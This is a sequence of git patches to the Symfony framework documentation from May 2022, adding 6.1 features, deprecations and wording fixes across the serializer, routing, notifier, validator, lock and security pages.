 automatically detect and use it to serialize related attributes.
 
-The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``add``
-and ``remove``.
+The ``ObjectNormalizer`` also takes care of methods starting with ``has``, ``can``,
+``add`` and ``remove``.
+
+.. versionadded:: 6.1
+
+    The support of canners (methods prefixed by ``can``) was introduced in Symfony 6.1.
 
 Using Callbacks to Serialize Properties with Object Instances
 -------------------------------------------------------------
@@ -811,12 +815,12 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
     This normalizer leverages the :doc:`PropertyAccess Component </components/property_access>`
     to read and write in the object. It means that it can access to properties
-    directly and through getters, setters, hassers, issers, adders and removers. It supports
-    calling the constructor during the denormalization process.
+    directly and through getters, setters, hassers, issers, canners, adders and removers.
+    It supports calling the constructor during the denormalization process.
 
     Objects are normalized to a map of property names and values (names are
-    generated by removing the ``get``, ``set``, ``has``, ``is``, ``add`` or ``remove`` prefix from
-    the method name and transforming the first letter to lowercase; e.g.
+    generated by removing the ``get``, ``set``, ``has``, ``is``, ``can``, ``add`` or ``remove``
+    prefix from the method name and transforming the first letter to lowercase; e.g.
     ``getFirstName()`` -> ``firstName``).
 
     The ``ObjectNormalizer`` is the most powerful normalizer. It is configured by

From 2d90ff9a4f1f2a7adb763e59002178a09129d3de Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 4 May 2022 23:09:13 +0200
Subject: [PATCH 1878/5766] Deprecate autoescape option

---
 reference/configuration/twig.rst | 5 +++++
 templates.rst                    | 2 +-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index f0afefc533c..54961707833 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -39,6 +39,11 @@ compiled again automatically.
 autoescape
 ~~~~~~~~~~
 
+.. deprecated:: 6.1
+
+    This option is deprecated since Symfony 6.1. If required, use the
+    ``autoescape_service`` or ``autoescape_service_method`` option instead.
+
 **type**: ``boolean`` or ``string`` **default**: ``'name'``
 
 If set to ``false``, automatic escaping is disabled (you can still escape each content
diff --git a/templates.rst b/templates.rst
index 0c679b0087d..e406445787b 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1035,7 +1035,7 @@ to perform malicious actions.
 To prevent this attack, use *"output escaping"* to transform the characters
 which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).
 Symfony applications are safe by default because they perform automatic output
-escaping thanks to the :ref:`Twig autoescape option <config-twig-autoescape>`:
+escaping:
 
 .. code-block:: html+twig
 

From c2478da3d6e2ed8364bba1a01a9bc05c9d0bba4f Mon Sep 17 00:00:00 2001
From: Renan <renan-sub@protonmail.com>
Date: Tue, 3 May 2022 23:14:26 +0200
Subject: [PATCH 1879/5766] [Routing] Allow using services in the route
 condition

Update routing.rst

Co-authored-by: Wouter de Jong <wouterj@users.noreply.github.com>

Update routing.rst

Co-authored-by: Wouter de Jong <wouterj@users.noreply.github.com>
---
 routing.rst | 12 +++++++++++-
 1 file changed, 11 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 7aa8c3d30ce..379e5092020 100644
--- a/routing.rst
+++ b/routing.rst
@@ -462,11 +462,21 @@ and can use any of these variables created by Symfony:
 
     The ``params`` variable was introduced in Symfony 6.1.
 
-You can also use this function:
+You can also use these functions:
 
 ``env(string $name)``
     Returns the value of a variable using :doc:`Environment Variable Processors <configuration/env_var_processors>`
 
+``service(string $alias)``
+    Returns a routing condition service.
+    You'll have to add the ``#[AsRoutingConditionService]`` attribute or ``routing.condition_service``
+    tag to your service if you want to use it in the condition.
+
+.. versionadded:: 6.1
+
+    The ``service(string $alias)`` function and ``#[AsRoutingConditionService]`` attribute
+    was introduced in Symfony 6.1.
+
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.

From 7e0fb3edf8f154e7d4db31e1af805ff17a808984 Mon Sep 17 00:00:00 2001
From: Ben Roberts <ben@headsnet.com>
Date: Wed, 4 May 2022 08:57:47 +0200
Subject: [PATCH 1880/5766] Add docs for FlashMessageImportanceMapper

---
 notifier.rst | 56 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 56 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index dec909fd18e..96a43e0c2c5 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -662,6 +662,62 @@ and
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
 also exists to modify messages sent to those channels.
 
+Customize Browser Notifications (Flash Messages)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    Support for customizing importance levels was introduced in Symfony 6.1.
+
+The default behavior for Browser channel notifications is to add a flash
+message with a key of "notification".
+
+However, it may be desirable to map the importance level of the notification
+to the type of flash message, so that you can style the different flash
+messages according to their importance.
+
+This can be done by overriding the default
+``notifier.flash_message_importance_mapper`` service with your own implementation of
+:class:`Symfony\\Component\\Notifier\\FlashMessage\\FlashMessageImportanceMapperInterface`
+where you can provide your own "importance" to "alert level" mapping.
+
+Symfony currently provides an implementation for the Bootstrap CSS framework's
+typical alert levels, which you can implement immediately using:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            notifier.flash_message_importance_mapper: Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="notifier.flash_message_importance_mapper" class="Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper"/>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Notifier\FlashMessage\BootstrapFlashMessageImportanceMapper;
+
+        return function(ContainerConfigurator $configurator) {
+            $configurator->services()
+                ->set('notifier.flash_message_importance_mapper', BootstrapFlashMessageImportanceMapper::class)
+            ;
+        };
+
 Disabling Delivery
 ------------------
 

From ae80e8ab0704185a924bc65e296e8b603c74bede Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 May 2022 11:01:40 +0200
Subject: [PATCH 1881/5766] Minor reword

---
 messenger.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 4fbfdb5ab4b..abb7ebd7acc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -76,12 +76,15 @@ message class (or a message interface)::
     using PHP 7.4), by implementing :class:`Symfony\\Component\\Messenger\\Handler\\MessageHandlerInterface`
     instead.
 
-.. note::
+.. tip::
+
+    You can also use the ``#[AsMessageHandler]`` attribute on individual class
+    methods. You may use the attribute on as many methods in a single class as you
+    like, allowing you to group the handling of multiple related types of messages.
+
+.. versionadded:: 6.1
 
-    As of Symfony 6.1, the ``AsMessageHandler`` attribute can be used on individual 
-    class methods as well. You may use the attribute on as many methods in a single
-    class as you like, allowing you to group the handling of multiple related types 
-    of messages.
+    Support for ``#[AsMessageHandler]`` on methods was introduced in Symfony 6.1.
 
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``

From e86c1c2b2e71c8e7f9cf7bfa3274c7ee1dc9dc7d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 May 2022 11:36:01 +0200
Subject: [PATCH 1882/5766] Minor tweak

---
 routing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 379e5092020..f18450e42c1 100644
--- a/routing.rst
+++ b/routing.rst
@@ -474,8 +474,8 @@ You can also use these functions:
 
 .. versionadded:: 6.1
 
-    The ``service(string $alias)`` function and ``#[AsRoutingConditionService]`` attribute
-    was introduced in Symfony 6.1.
+    The ``service(string $alias)`` function and ``#[AsRoutingConditionService]``
+    attribute were introduced in Symfony 6.1.
 
 Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes

From 6e4246549519eac3c1030455d2b9c762c57e4246 Mon Sep 17 00:00:00 2001
From: Mathieu Piot <m.piot@vermon.com>
Date: Thu, 5 May 2022 11:58:32 +0200
Subject: [PATCH 1883/5766] Deprecate ExpressionLanguageSyntax constraint

---
 reference/constraints.rst                     |   3 +-
 .../constraints/ExpressionLanguageSyntax.rst  |   5 +
 reference/constraints/ExpressionSyntax.rst    | 147 ++++++++++++++++++
 3 files changed, 154 insertions(+), 1 deletion(-)
 create mode 100644 reference/constraints/ExpressionSyntax.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 34ed5d08dab..f3851bdb97a 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -14,7 +14,8 @@ Validation Constraints Reference
    constraints/Type
 
    constraints/Email
-   constraints/ExpressionLanguageSyntax
+   constraints/ExpressionLanguageSyntax (deprecated)
+   constraints/ExpressionSyntax
    constraints/Length
    constraints/Url
    constraints/Regex
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 58309ed39d0..fda9360b8ae 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -1,6 +1,11 @@
 ExpressionLanguageSyntax
 ========================
 
+.. deprecated:: 6.1
+
+    This constraint is deprecated since Symfony 6.1.
+    Use the``ExpressionSyntax`` constraint instead.
+
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
 
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
new file mode 100644
index 00000000000..9e97c3ffa38
--- /dev/null
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -0,0 +1,147 @@
+ExpressionSyntax
+================
+
+This constraint checks that the value is valid as an `ExpressionLanguage`_
+expression.
+
+.. info:: 6.1
+
+    This constraint is deprecated since Symfony 6.1.
+    Use the``ExpressionSyntax`` constraint instead.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionSyntax`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\ExpressionSyntaxValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The following constraints ensure that:
+
+* the ``promotion`` property stores a value which is valid as an
+  ExpressionLanguage expression;
+* the ``shippingOptions`` property also ensures that the expression only uses
+  certain variables.
+
+.. configuration-block::
+
+    .. code-block:: php-annotations
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            /**
+             * @Assert\ExpressionSyntax
+             */
+            protected $promotion;
+
+            /**
+             * @Assert\ExpressionSyntax(
+             *     allowedVariables={"user", "shipping_centers"}
+             * )
+             */
+            protected $shippingOptions;
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Entity/Order.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Order
+        {
+            #[Assert\ExpressionSyntax]
+            protected $promotion;
+
+            #[Assert\ExpressionSyntax(
+                allowedVariables: ['user', 'shipping_centers'],
+            )]
+            protected $shippingOptions;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\Order:
+            properties:
+                promotion:
+                    - ExpressionSyntax: ~
+                shippingOptions:
+                    - ExpressionSyntax:
+                        allowedVariables: ['user', 'shipping_centers']
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\Order">
+                <property name="promotion">
+                    <constraint name="ExpressionSyntax"/>
+                </property>
+                <property name="shippingOptions">
+                    <constraint name="ExpressionSyntax">
+                        <option name="allowedVariables">
+                            <value>user</value>
+                            <value>shipping_centers</value>
+                        </option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/Student.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class Order
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('promotion', new Assert\ExpressionSyntax());
+
+                $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionSyntax([
+                    'allowedVariables' => ['user', 'shipping_centers'],
+                ]));
+            }
+        }
+
+Options
+-------
+
+allowedVariables
+~~~~~~~~~~~~~~~~
+
+**type**: ``array`` or ``null`` **default**: ``null``
+
+If this option is defined, the expression can only use the variables whose names
+are included in this option. Unset this option or set its value to ``null`` to
+allow any variables.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+message
+~~~~~~~
+
+**type**: ``string`` **default**: ``This value should be a valid expression.``
+
+This is the message displayed when the validation fails.
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`ExpressionLanguage`: https://symfony.com/components/ExpressionLanguage

From 5b350cd2a054569796e6f90e7908476fffabcde4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 May 2022 12:17:44 +0200
Subject: [PATCH 1884/5766] Minor reword

---
 notifier.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 96a43e0c2c5..1a7b9022438 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -669,15 +669,14 @@ Customize Browser Notifications (Flash Messages)
 
     Support for customizing importance levels was introduced in Symfony 6.1.
 
-The default behavior for Browser channel notifications is to add a flash
-message with a key of "notification".
+The default behavior for browser channel notifications is to add a
+:ref:`flash message <flash-messages>` with ``notification`` as its key.
 
-However, it may be desirable to map the importance level of the notification
-to the type of flash message, so that you can style the different flash
-messages according to their importance.
+However, you might prefer to map the importance level of the notification to the
+type of flash message, so you can tweak their style.
 
-This can be done by overriding the default
-``notifier.flash_message_importance_mapper`` service with your own implementation of
+you can do that by overriding the default ``notifier.flash_message_importance_mapper``
+service with your own implementation of
 :class:`Symfony\\Component\\Notifier\\FlashMessage\\FlashMessageImportanceMapperInterface`
 where you can provide your own "importance" to "alert level" mapping.
 

From 01eb82e95189f2c4b288af443cfd3dc8b746e5a2 Mon Sep 17 00:00:00 2001
From: wadjeroudi <wahid@wonetek.com>
Date: Fri, 6 May 2022 10:32:10 +0200
Subject: [PATCH 1885/5766] Fix typo php-fpm => php-pm

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 979a5a13aa7..adfec8c3622 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -6,7 +6,7 @@ The Runtime Component
 ======================
 
     The Runtime Component decouples the bootstrapping logic from any global state
-    to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
+    to make sure the application can run with runtimes like PHP-PM, ReactPHP,
     Swoole, etc. without any changes.
 
 .. versionadded:: 5.3

From f55ad96ee03f797de57d86f671369dff752a9cdf Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Fri, 6 May 2022 15:14:19 +0200
Subject: [PATCH 1886/5766] Doctrine annotations is not required anymore for
 validator

---
 validation.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index aa2d83afdb9..bab2acecbb7 100644
--- a/validation.rst
+++ b/validation.rst
@@ -23,8 +23,14 @@ install the validator before using it:
 
 .. code-block:: terminal
 
-    $ composer require symfony/validator doctrine/annotations
+    $ composer require symfony/validator
+    
+If your project still use annotations, ``doctrine/annotations`` is also needed:  
 
+.. code-block:: terminal
+
+    $ composer require doctrine/annotations
+    
 .. note::
 
     If your application doesn't use Symfony Flex, you might need to do some

From 0ba643e6d838e508e57d1ce83dd149439bc786e8 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 7 May 2022 17:59:13 +0200
Subject: [PATCH 1887/5766] Remove RetryTillSaveStore class

---
 components/lock.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index 2d4027fcc4c..76e4badb587 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -106,15 +106,12 @@ can be created, pass ``true`` as the argument of the ``acquire()`` method. This
 is called a **blocking lock** because the execution of your application stops
 until the lock is acquired.
 
-Some of the built-in ``Store`` classes support this feature. When they don't,
-they can be decorated with the ``RetryTillSaveStore`` class::
+Some of the built-in ``Store`` classes support this feature.
 
     use Symfony\Component\Lock\LockFactory;
     use Symfony\Component\Lock\Store\RedisStore;
-    use Symfony\Component\Lock\Store\RetryTillSaveStore;
 
     $store = new RedisStore(new \Predis\Client('tcp://localhost:6379'));
-    $store = new RetryTillSaveStore($store);
     $factory = new LockFactory($store);
 
     $lock = $factory->createLock('notification-flush');

From f3185202fbb740b2fce189010bb715faa7310e15 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 9 May 2022 12:20:46 +0200
Subject: [PATCH 1888/5766] [Form] Fix a minor syntax issue

---
 reference/forms/types/collection.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index a6909e22377..5cf039e9d86 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -314,7 +314,7 @@ prototype_options
 
 This is the array that's passed to the form type specified in the `entry_type`_
 option when creating its prototype. It allows to have different options depending
-on whether you are adding a new entry or editing an existing entry.
+on whether you are adding a new entry or editing an existing entry::
 
     use Symfony\Component\Form\Extension\Core\Type\CollectionType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;

From 99269ac0751416cafd2144df5d6a2d43d39ea5bf Mon Sep 17 00:00:00 2001
From: naitsirch <naitsirch@e.mail.de>
Date: Mon, 9 May 2022 13:12:17 +0200
Subject: [PATCH 1889/5766] Added naming_strategy option to doctrine config
 reference

---
 reference/configuration/doctrine.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 3d2435e73a0..b65b24081dd 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -182,6 +182,7 @@ that the ORM resolves to:
             metadata_cache_driver: array
             query_cache_driver: array
             result_cache_driver: array
+            naming_strategy: doctrine.orm.naming_strategy.default
 
 There are lots of other configuration options that you can use to overwrite
 certain classes, but those are for very advanced use-cases only.
@@ -207,6 +208,7 @@ can be placed directly under ``doctrine.orm`` config level.
             class_metadata_factory_name:  Doctrine\ORM\Mapping\ClassMetadataFactory
             default_repository_class:  Doctrine\ORM\EntityRepository
             auto_mapping: false
+            naming_strategy: doctrine.orm.naming_strategy.default
             hydrators:
                 # ...
             mappings:

From 8cb7f850c35d978ef7a3764f6fd93a81371a8155 Mon Sep 17 00:00:00 2001
From: mark2016 <16224288+mark2016@users.noreply.github.com>
Date: Mon, 9 May 2022 21:44:12 +1000
Subject: [PATCH 1890/5766] Update doctrine.rst

fix spelling woh -> whoa, reference https://writingexplained.org/whoa-or-woah-difference
---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 0112eb5428e..46770aa35b5 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -132,7 +132,7 @@ need. The command will ask you some questions - answer them like done below:
     The interactive behavior of the ``make:entity`` command was introduced
     in MakerBundle 1.3.
 
-Woh! You now have a new ``src/Entity/Product.php`` file::
+Whoa! You now have a new ``src/Entity/Product.php`` file::
 
     // src/Entity/Product.php
     namespace App\Entity;

From 1c76da83b90a2c5c0358edea3d8656c7812f8efd Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Mon, 9 May 2022 17:06:26 +0200
Subject: [PATCH 1891/5766] Remove enable_authenticator_manager

---
 security.rst                      | 4 ----
 security/custom_authenticator.rst | 3 +--
 security/entry_point.rst          | 1 -
 security/login_link.rst           | 7 -------
 4 files changed, 1 insertion(+), 14 deletions(-)

diff --git a/security.rst b/security.rst
index b3cc007d9bf..dac009b6c66 100644
--- a/security.rst
+++ b/security.rst
@@ -27,7 +27,6 @@ creates a ``security.yaml`` configuration file for you:
 
     # config/packages/security.yaml
     security:
-        enable_authenticator_manager: true
         # https://symfony.com/doc/current/security.html#registering-the-user-hashing-passwords
         password_hashers:
             Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
@@ -1354,8 +1353,6 @@ You must enable this using the ``login_throttling`` setting:
 
         # config/packages/security.yaml
         security:
-            # you must use the authenticator manager
-            enable_authenticator_manager: true
 
             firewalls:
                 # ...
@@ -2289,7 +2286,6 @@ the login page):
 
         # config/packages/security.yaml
         security:
-            enable_authenticator_manager: true
 
             # ...
             access_control:
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 6a7e80e039f..4178e254904 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -86,7 +86,6 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
 
         # config/packages/security.yaml
         security:
-            enable_authenticator_manager: true
 
             # ...
             firewalls:
@@ -179,7 +178,7 @@ can define what happens in these cases:
     If your login method is interactive, which means that the user actively
     logged into your application, you may want your authenticator to implement the
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`
-    so that it dispatches an 
+    so that it dispatches an
     :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
 
 .. _security-passport:
diff --git a/security/entry_point.rst b/security/entry_point.rst
index daee51493fa..db1141a95c6 100644
--- a/security/entry_point.rst
+++ b/security/entry_point.rst
@@ -18,7 +18,6 @@ You can configure this using the ``entry_point`` setting:
 
         # config/packages/security.yaml
         security:
-            enable_authenticator_manager: true
 
             # ...
             firewalls:
diff --git a/security/login_link.rst b/security/login_link.rst
index 9b99534d2c8..899c7a1c82a 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -14,13 +14,6 @@ This authentication method can help you eliminate most of the customer support
 related to authentication (e.g. I forgot my password, how can I change or reset
 my password, etc.)
 
-.. note::
-
-    Login links are only supported by Symfony when using the
-    :doc:`authenticator system </security>`. Before using this
-    authenticator, make sure you have enabled it with
-    ``enable_authenticator_manager: true`` in your ``security.yaml`` file.
-
 Using the Login Link Authenticator
 ----------------------------------
 

From cb96633c2e0d3dda415765bc36361483b64eba06 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 10 May 2022 11:13:51 +0200
Subject: [PATCH 1892/5766] Creating a route for logout is always required

Even if the default value is used
---
 reference/configuration/security.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index e65fc6ec26d..06d56d91008 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -382,8 +382,7 @@ the current firewall and not the other ones.
 
 **type**: ``string`` **default**: ``/logout``
 
-The path which triggers logout. If you change it from the default value ``/logout``,
-you need to set up a route with a matching path.
+The path which triggers logout. You need to set up a route with a matching path.
 
 target
 ~~~~~~

From 5f2981bfe20d104524075eecaf651470d7a605e3 Mon Sep 17 00:00:00 2001
From: Zairig Imad <imadzairig@gmail.com>
Date: Tue, 10 May 2022 16:15:13 +0100
Subject: [PATCH 1893/5766] make the no_stop_clause option for OVH visible in
 the doc

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 1a7b9022438..ed094d51f09 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -74,7 +74,7 @@ Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_
 Nexmo           ``symfony/nexmo-notifier``            ``nexmo://KEY:SECRET@default?from=FROM``
 Octopush        ``symfony/octopush-notifier``         ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OrangeSms       ``symfony/orange-sms-notifier``       ``orange-sms://CLIENT_ID:CLIENT_SECRET@default?from=FROM&sender_name=SENDER_NAME``
-OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
+OvhCloud        ``symfony/ovh-cloud-notifier``        ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME&no_stop_clause=true``
 Sendberry       ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PASSWORD@default?auth_key=AUTH_KEY&from=FROM``
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``

From b2db45df90fe937a1b9304293e3ad186b321e6ba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 11 May 2022 17:58:20 +0200
Subject: [PATCH 1894/5766] Add the versionadded directive

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index ed094d51f09..28b576aa183 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -93,6 +93,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 .. versionadded:: 6.1
 
     The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.
+    The ``no_stop_clause`` option in ``OvhCloud`` DSN was introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From ea77f20f317ac9e87c029f0e42c6401a192817bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 13 May 2022 16:37:05 +0200
Subject: [PATCH 1895/5766] Update the list of members of the CARE Team

---
 contributing/code_of_conduct/care_team.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index 8c09a2b936f..fb2c60faebd 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -37,11 +37,6 @@ of them at once by emailing ** care@symfony.com **.
   * *SymfonyConnect*: `zanbaldwin <https://connect.symfony.com/profile/zanbaldwin>`_
   * *SymfonySlack*: `@Zan <https://symfony-devs.slack.com/team/UBHGRU3NW>`_
 
-* **Valentine Boineau**
-
-  * *E-mail*: valentine.boineau [at] gmail.com
-  * *Twitter*: `@BoineauV <https://twitter.com/BoineauV>`_
-
 * **Magali Milbergue**
 
   * *E-mail*: magali.milbergue [at] gmail.com

From e0e8a746985057c61b8affc44dabb3684a8452f5 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 14 May 2022 11:46:25 +0200
Subject: [PATCH 1896/5766] Use PHP-DSL `env()` configurator when possible

---
 configuration.rst                     |  8 ++++++++
 configuration/env_var_processors.rst  | 10 +++++++++-
 configuration/secrets.rst             |  2 +-
 doctrine/multiple_entity_managers.rst |  4 ++--
 lock.rst                              |  2 +-
 mailer.rst                            |  8 ++++----
 messenger.rst                         | 14 +++++++-------
 notifier.rst                          | 12 ++++++------
 reference/configuration/framework.rst | 14 +++++++-------
 security/access_control.rst           |  4 ++--
 session/database.rst                  |  4 ++--
 translation.rst                       |  2 +-
 12 files changed, 50 insertions(+), 34 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index e74eaa8b862..621cbc27094 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -644,10 +644,18 @@ This example shows how you could configure the database connection using an env
                 'dbal' => [
                     // by convention the env var names are always uppercase
                     'url' => '%env(resolve:DATABASE_URL)%',
+                    // or
+                    'url' => env('DATABASE_URL')->resolve(),
                 ],
             ]);
         };
 
+.. versionadded:: 5.3
+
+    The ``env()`` configurator syntax was introduced in 5.3.
+    In ``PHP`` configuration files, it will allow to autocomplete methods based
+    on processors name (i.e. ``env('SOME_VAR')->default('foo')``).
+
 .. seealso::
 
     The values of env vars can only be strings, but Symfony includes some
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 2e73b823da4..4d2615fc3b6 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -50,10 +50,18 @@ processor to turn the value of the ``HTTP_PORT`` env var into an integer:
 
         return static function (FrameworkConfig $framework) {
             $framework->router()
+                ->httpPort('%env(int:HTTP_PORT)%')
+                // or
                 ->httpPort(env('HTTP_PORT')->int())
             ;
         };
 
+.. versionadded:: 5.3
+
